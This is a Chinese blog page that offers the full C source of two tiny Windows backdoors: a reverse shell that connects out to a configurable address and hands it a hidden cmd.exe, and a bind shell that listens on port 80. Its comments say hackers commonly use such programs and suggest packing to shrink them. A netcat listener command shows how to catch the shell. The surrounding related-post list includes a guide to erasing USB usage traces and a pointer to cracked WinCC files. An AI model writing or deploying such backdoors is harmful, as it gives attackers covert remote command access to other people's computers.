1K后门代码

HaaS EDU K1硬件介绍 HaaS EDU K1是HaaS Education Kit1的缩写,是基于阿里定制的高性能MCU-HaaS1000芯片打造的、集颜值和内涵于一身的物联网开发利器。作为云钉端一体全链路解决方案的软硬件积木平台,深度集成了AliOS Things物联网操作系统、HaaS轻应用、钉钉小程序和阿里云物联网平台等技术和服务,让开发者可以轻松的学习和开发云钉端全链路实战项目,解决实际场景,或孵化创新应用,下图是其全景图: 图1 HaaS EDU K1全景图 HaaS EDU K1 六大特点: 高颜值 . 阅读详情

 /*
  1k(程序体积1kb) 反向连接,零管道后门


测试:
  本地开启nc -l -p 8000,监听8000端口,会得到一个Shell
*/
#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint")
#pragma comment(linker,"/INCREMENTAL:NO /IGNORE:4078")
#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=Anskya /SECTION:Anskya,EWR")
#pragma comment(lib, "ws2_32.lib")//链接到WS2_32.LIB库

#include <winsock2.h>
#include <windows.h>

#define MasterAddr "127.0.0.1"  //反弹连接地址或域名
#define MasterPort 8000    //反弹连接端口

void Entrypoint()
{
  WSADATA WSADa;
  LPHOSTENT HostEnts;
  SOCKADDR_IN SockAddrIn;
  SOCKET FSocket;
 
  PROCESS_INFORMATION ProcessInfo;
  STARTUPINFO StartupInfo;

  char szCMDPath[255];
//-----初始化数据------
  ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
  ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
  ZeroMemory(&WSADa, sizeof(WSADATA));
//获取cmd路径:
  GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
//加载ws2_32.dll
  WSAStartup(0x0202,&WSADa);
 
  HostEnts=gethostbyname(MasterAddr);//将域名转换为IP地址
  SockAddrIn.sin_family = AF_INET;//表示IPv4地址族
  SockAddrIn.sin_addr = *((LPIN_ADDR)*HostEnts->h_addr_list);//IP地址列表
  SockAddrIn.sin_port = htons(MasterPort);//端口号
  FSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);//创建一个套接字
  //获取远程地址和端口与绑定协议
  connect(FSocket, (LPSOCKADDR)&SockAddrIn,sizeof(SockAddrIn));
  //开始连接远程服务器
  StartupInfo.cb = sizeof(STARTUPINFO);
  StartupInfo.wShowWindow = SW_HIDE;//表示隐藏窗口
  StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  //控制台输入与输出句柄指向已连接套接字FSocket:
  StartupInfo.hStdInput = (HANDLE)FSocket;
  StartupInfo.hStdOutput = (HANDLE)FSocket;
  StartupInfo.hStdError = (HANDLE)FSocket;
  //创建匿名管道:
  CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
  WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
  CloseHandle(ProcessInfo.hProcess);
  CloseHandle(ProcessInfo.hThread);
  //关闭进程句柄
  closesocket(FSocket);
  WSACleanup();
  //关闭连接卸载ws2_32.dll
}

void main(){}

 

===========

/*
1k(程序体积1kb)正向连接,零管道后门 By DNA32r

说明:
不用我多说了吧..黑客一般都会使用的后门程序..
这里只是简单的演示一下..没有添加进程隐藏功能
程序可以在Win9x,Win2k,WinXP,Win2k3上使用
程序体积只有1k(FSG压缩一下会更小)

测试:
本地开启NetCat等工具,连接远程计算机80端口,会得到一个Shell
*/
#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint")
#pragma comment(linker,"/INCREMENTAL:NO /IGNORE:4078")
#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=DNA32r /SECTION:DNA32r,EWR") 
#pragma comment(lib, "ws2_32.lib")

#include <winsock2.h>
#include <windows.h>

#define MasterPort 80 //连接端口

void Entrypoint()
{
WSADATA WSADa;
sockaddr_in SockAddrIn;
SOCKET CSocket,SSocket;
int iAddrSize;

PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;

char szCMDPath[255];
//-------------------
ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
ZeroMemory(&WSADa, sizeof(WSADATA));
//----初始化数据----
//获取cmd路径
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
//加载ws2_32.dll
WSAStartup(0x0202,&WSADa);

//设置本地信息和绑定协议
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.s_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

//绑定端口
bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
listen(CSocket,1);
iAddrSize = sizeof(SockAddrIn);
SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
//开始连接远程服务器
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket;
StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket;
//创建匿名管道
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
//关闭进程句柄
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
//关闭连接卸载ws2_32.dll
}

代码挑战 立即下载

相关推荐

删除win10电脑U盘使用记录

手工删除:和查看的方法类似,分三步,缺一不可,顺序也不能反! 第一步 设置环境变量,变量名为“devmgr_show_nonpresent_devices”,值为“1”。 第二步 打开设备管理器,勾上“查看”菜单中的“显示隐藏设备”。如果之前已经打开设备管理器,则要关了,重新打开。 第三步 清除“磁盘驱动器”、“存储卷”、“通用串行总线控制器”3个栏目下所有的灰色的图标,注意是所有!右键点击灰色图标,然后选择“卸载”。 成功 :结果USBSTOR 没有了 ...

qq_40544338的博客 2万+

1kb 网站代码---作者:Martin Kleppe

1kb 代码网站---作者:Martin Kleppe

javaGHui的博客 1100

基于ROS2系统开发机器人

以上是基于ROS 2开发机器人的基本流程和一个简单的发布者-订阅者示例。通过这个流程,你可以逐步扩展和优化你的机器人系统,实现更复杂的功能。

xuweilin的博客 1496

1KB JavaScript代码编写的3D蜜蜂~~附源码哦~

相信很多网友都还记得1KB JavaScript代码所编写的3D玫瑰,或者2010年的3D圣诞树。细心的网友可能注意到了,这两个神奇的作品都是西班牙开发者Román Cortés在JS1K大赛上的投稿作品,今年他又带来了同样神奇的3D蜜蜂——长着触角、系着领带。   左、右分别是做过动作模糊化处理前、后的样子          由于JS1K规则限制,该作品仅支持Firefox 18、C...

tangfenjuan的博客 627

从“Segmentation fault”到流畅运行:深入解析CARLA Engine crash与Signal 11报错排查指南

本文深入解析了CARLA仿真平台运行时遭遇的Engine crash与Signal 11(Segmentation fault)报错。文章指出,该错误的根本原因常与NVIDIA显卡驱动版本不兼容有关,并提供了从日志分析、常见方案试错到驱动安全降级的完整排查指南,帮助用户从崩溃走向流畅运行。

pca5navigator的博客 468

python 编程 安卓脚本_详解基于Android的Appium+Python自动化脚本编写

1.AppiumAppium是一个开源测试自动化框架,可用于原生,混合和移动Web应用程序测试, 它使用WebDriver协议驱动iOS,Android和Windows应用程序。通过Appium,我们可以模拟点击和屏幕的滑动,可以获取元素的id和classname,还可以根据操作生成相关的脚本代码。下面开始Appium的配置。appPackage和APPActivity的获取任意下载一个app解压...

weixin_39523625的博客 2931

研发周报:神奇!1KB JavaScript代码编写的3D蜜蜂

摘要:忙碌的一周总算过去,闲暇时不妨来细细品味我们精心为你呈现的这份技术大餐。本期热点:神奇!1KB JavaScript代码编写的3D蜜蜂;魔兽之父专访:今年游戏产业会出现一场革命;回顾:那些被平台方封杀的第三方应用。 我们挑选了本周研发频道的精华文章,推荐给您的绝对“有料”,闲暇时不妨来细细品味我们精心为你呈现的这份技术大餐,或许有您意想不到的收获。本期热点:神奇!1KB JavaS

冷月宫主的专栏 1831

第一节:从Chat_Bot 到 AI_Agent——一个范式转换

本文系统剖析了工业级AI代理系统ClaudeCode的设计原理与工程实践。通过对比ChatBot与Agent的三个本质差异:自主循环决策vs单轮应答、环境交互vs纯文本I/O、持久状态管理vs无状态对话,揭示了构建生产级Agent系统的关键挑战。文章详细解析了ClaudeCode的五层架构设计、1800+文件组成的运行时系统,包括工具调度、权限管理、状态持久化等核心机制,并阐述了从简单API调用到完整Agent系统的演进路径。

2201_75869398的博客 69

纯JS脚本1k大小的3D玫瑰

Rose var b = document.body; var c = document.getElementsByTagName('canvas')[0]; var a = c.getContext('2d'); document.body.clientWid

数星星的夜晚 601

【WRF安装】WRF编译错误:problems building executables look for error in the build log

WRF编译错误:problems building executables look for error in the build log

WW、forever的博客 754

一个非常简单的变分量子分类器 (VQC)

​ 在之前的帖子(这里和这里)中,我已经开始谈论 QML,为什么以及如何学习,从现在开始,我将开始分享我的研究和发现,到目前为止,这些都是非常基本的。​

gongdiwudu的专栏 6210

1K后门代码(精华)

/*   1k(程序体积1kb) 反向连接,零管道后门 测试:   本地开启nc -l -p 8000,监听8000端口,会得到一个Shell */ #pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint") #pragma comment(linker,"/INCREMENTA

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 963

手把手教你学Simulink--基于Simulink的开关磁阻电机电流斩波控制仿真建模

特点:定子和转子均由普通硅钢片叠压而成,没有永磁体或绕组在转子上。工作原理:利用转子旋转时不同位置的磁阻变化产生转矩。控制挑战:由于SRM的高度非线性和磁饱和效应,需要复杂的控制算法来优化性能。利用Simscape Electrical中的模块构建SRM的物理模型,配置参数如电阻、电感等。matlab深色版本% 添加SRM电机模块根据实际需求调整电机参数。通过上述步骤,我们简要介绍了如何基于Simulink进行开关磁阻电机的电流斩波控制仿真建模。

MHD0815的博客 306

NR - k0, k1, k2

今天介绍协议中的k0,k1,k2。 它们的物理含义都比较简单,k0是指下行调度DCI与其调度的PDSCH之间的Slot间隔,k1指PDSCH与其HARQ-ACK反馈的Slot间隔,k2指上行调度DCI与其调度的PUSCH之间的Slot间隔。 一.k0 对于SI-RNTI/RA-RNTI/TC-RNTI/P-RNTI,遵循的基本原则都是一样的...

3万+

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

数据结构:设线性表中每个元素有两个数据项k1和k2,现对线性表按一下规则进行排序:先看数据项k1,k1值小的元素在前,大的在后;在k1值相同的情况下,再看k2,k2值小的在前,大的在后。满足这种要求的

题目: 设线性表中每个元素有两个数据项k1和k2,现对线性表按一下规则进行排序:先看数据项k1,k1值小的元素在前,大的在后;在k1值相同的情况下,再看k2,k2值小的在前,大的在后。满足这种要求的排序方法是( ) A.先按k1进行直接插入排序,再按k2进行简单选择排序 B.先按k2进行直接插入排序,再按k1进行简单选择排序 C.先按k1进行简单选择排序,再按k2进行直接插入排序 D.先按k2进行简单选择排序,再按k1进行直接插入排序 答题思路: 首先我们要明确题意,这一题的排序是针对k1和k2全体进

我想喝可乐的博客 8125

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

html后门代码/web后门代码-手把手教网安自学路线

前段时间 中的一个中间件 被爆出存在 ,关注了一波,但仅看官方npm 的解释,一时半会儿没想明白黑客是怎么留的后门,一直困扰着我。今天有空仔细看了一下

2401_84915584的博客 554

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

8Kpcm转16K、32K、44.1K等

下面函数ChangePcm8KTo16K简单的实现了8K转16K。 8K转44.1K是比较特殊的,因为44.1K不是8K的倍数,是介于40K和48K之间的。40K是8K的5倍,48K是6倍。因此需要进行nSkipByte进行区分。 所以先写5个原始数据,接着再写6个,即5-6–5--6…这样循环,就是下面代码的这几句: 还有一个注意点是单声道转双声道问题。 这是单声道的代码 int ChangePcm8KTo44_1K(char *p8K, int i8KLen, char *p44_1K, int

优快云369369的博客 5022

简洁解释k++,++k,k+1,k+=1的区别(附图)

k++和++k两者都是递增1,但区别就在于k++是先赋值给n再++(n=k),而++k是先++后再赋值给n(n=k++)。

zeta_learn_c的博客 1万+

斐讯K1、K2、K2P 刷机、刷入Breed 辅助工具

支持的版本 官方固件版本: K1: V22.4.XX.XX K1S:V22.3.XX.XX K2: V22.2.XX.XX V22.3.XX.XX V22.4.XX.XX V22.5.XX.XX V22.6.XX.XX K2P:V22.8.5.189 (V21.4.6.12版本需要升级到以上版本) (V21.4.6.12以下版本...

ASB->EMBEDDED->ZIGBEE->RFID->FPGA->SYSTEM 1万+

secp256k1&secp224k1椭圆曲线

1. 有限域内的椭圆曲线 1.1 椭圆曲线直观图形 实数域内的椭圆曲线y2=x3+7y^2=x^3+7y2=x3+7的展示如下: 有限域内的椭圆曲线y2=x3+7y^2=x^3+7y2=x3+7的展示如下(为有限域内离散的点): 1.2 椭圆曲线上的点运算规则 2. secp256k1椭圆曲线定义 $$ 参考资料: [1] 《The Orders of Elliptic Curves y2 ...

mutourend2010@gmail.com 5124

关于计算机1K=1024 的原因,什么情况下1k=1000?

不是计算机上所有的1k=1024都对!! 一、内存 在存储上RAM SDRAM DDRAM上,1K=1024! 为什么?难道二进制不能表示1000?当然不是,二进制能表示任何自然数! 计算机的数据线通常是8位16位32位64位,对应的32位CPU和64位CPU,也就是咱们WINDOWS会有32位和64位的区别, 那么32位系统数据每次要读取32位,如果读取1000个字节就尴尬...

guoggn的专栏 1万+

ImageNet1K的下载与使用

ImageNet不用多说,它包含了非常多的图片,总共有2w多个分类,但是显然太多。所以一般更常用的是ImageNet1K数据集,该数据集包含1000个类别。

xu.hyj 4万+

探索Kotlin:从K1到K2

而K2 Kotlin就不一样了!不止于此,Kotlin还能在多平台上飞哦,可以一套代码适配多个平台,比如Android、iOS,甚至是Web。K1 Kotlin就像是Kotlin的早期版本,它跟传统的Java应用比较类似。如果你见过老一辈的安卓应用,它们很可能是用K1 Kotlin写的,比较稳定实用,不过现代化程度可能不够哦。但如果你追求创新,想要更高效的开发体验,还想在多平台上发力,K2 Kotlin是不二之选啦!总之,随着技术的发展,Kotlin在安卓开发中已经成为了一匹黑马,带来了无限的可能性。

double222222的博客 2133

KL散度的三种估计k1 k2 k3

本文中我们首先介绍了 KL 散度最常用的估计 k1,但是发现它方差非常大,然后我们介绍 f 散度并设计了对 KL 散度近似的 k2 估计,k2 降低了方差但是是有偏的。为了得到无偏且低方差的估计,我们又考虑通过 control variate 构造了 k3 估计,达到了比较理想的对 KL 散度的估计。在 RL (for LLM) 中,k2、k3 都有被选用,我们需要根据实际场景分析和实验来决定选用哪种估计(比如 k2 估计要求两分布是比较接近的,才能有降低的偏差)。

weixin_44966641的博客 1865

51单片机--某系统有K1和K2,一个数码管,当按下K1数码管加1,按下K2数码管减1

题目:某系统有K1和K2,一个数码管,当按下K1数码管加1,按下K2数码管减1 程序如下: #include <reg52.h> #define uint unsigned int #define uchar unsigned char #define LED_seg P0 #define LED_com P2 sbit key1=P3^1; sbit key2=P3^0; s...

退休图书管理员的博客 1万+
上一篇: 浅谈以太网的Auto-Negotiation和Auto-Sense机制
下一篇: NOD的部分杀毒机制
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值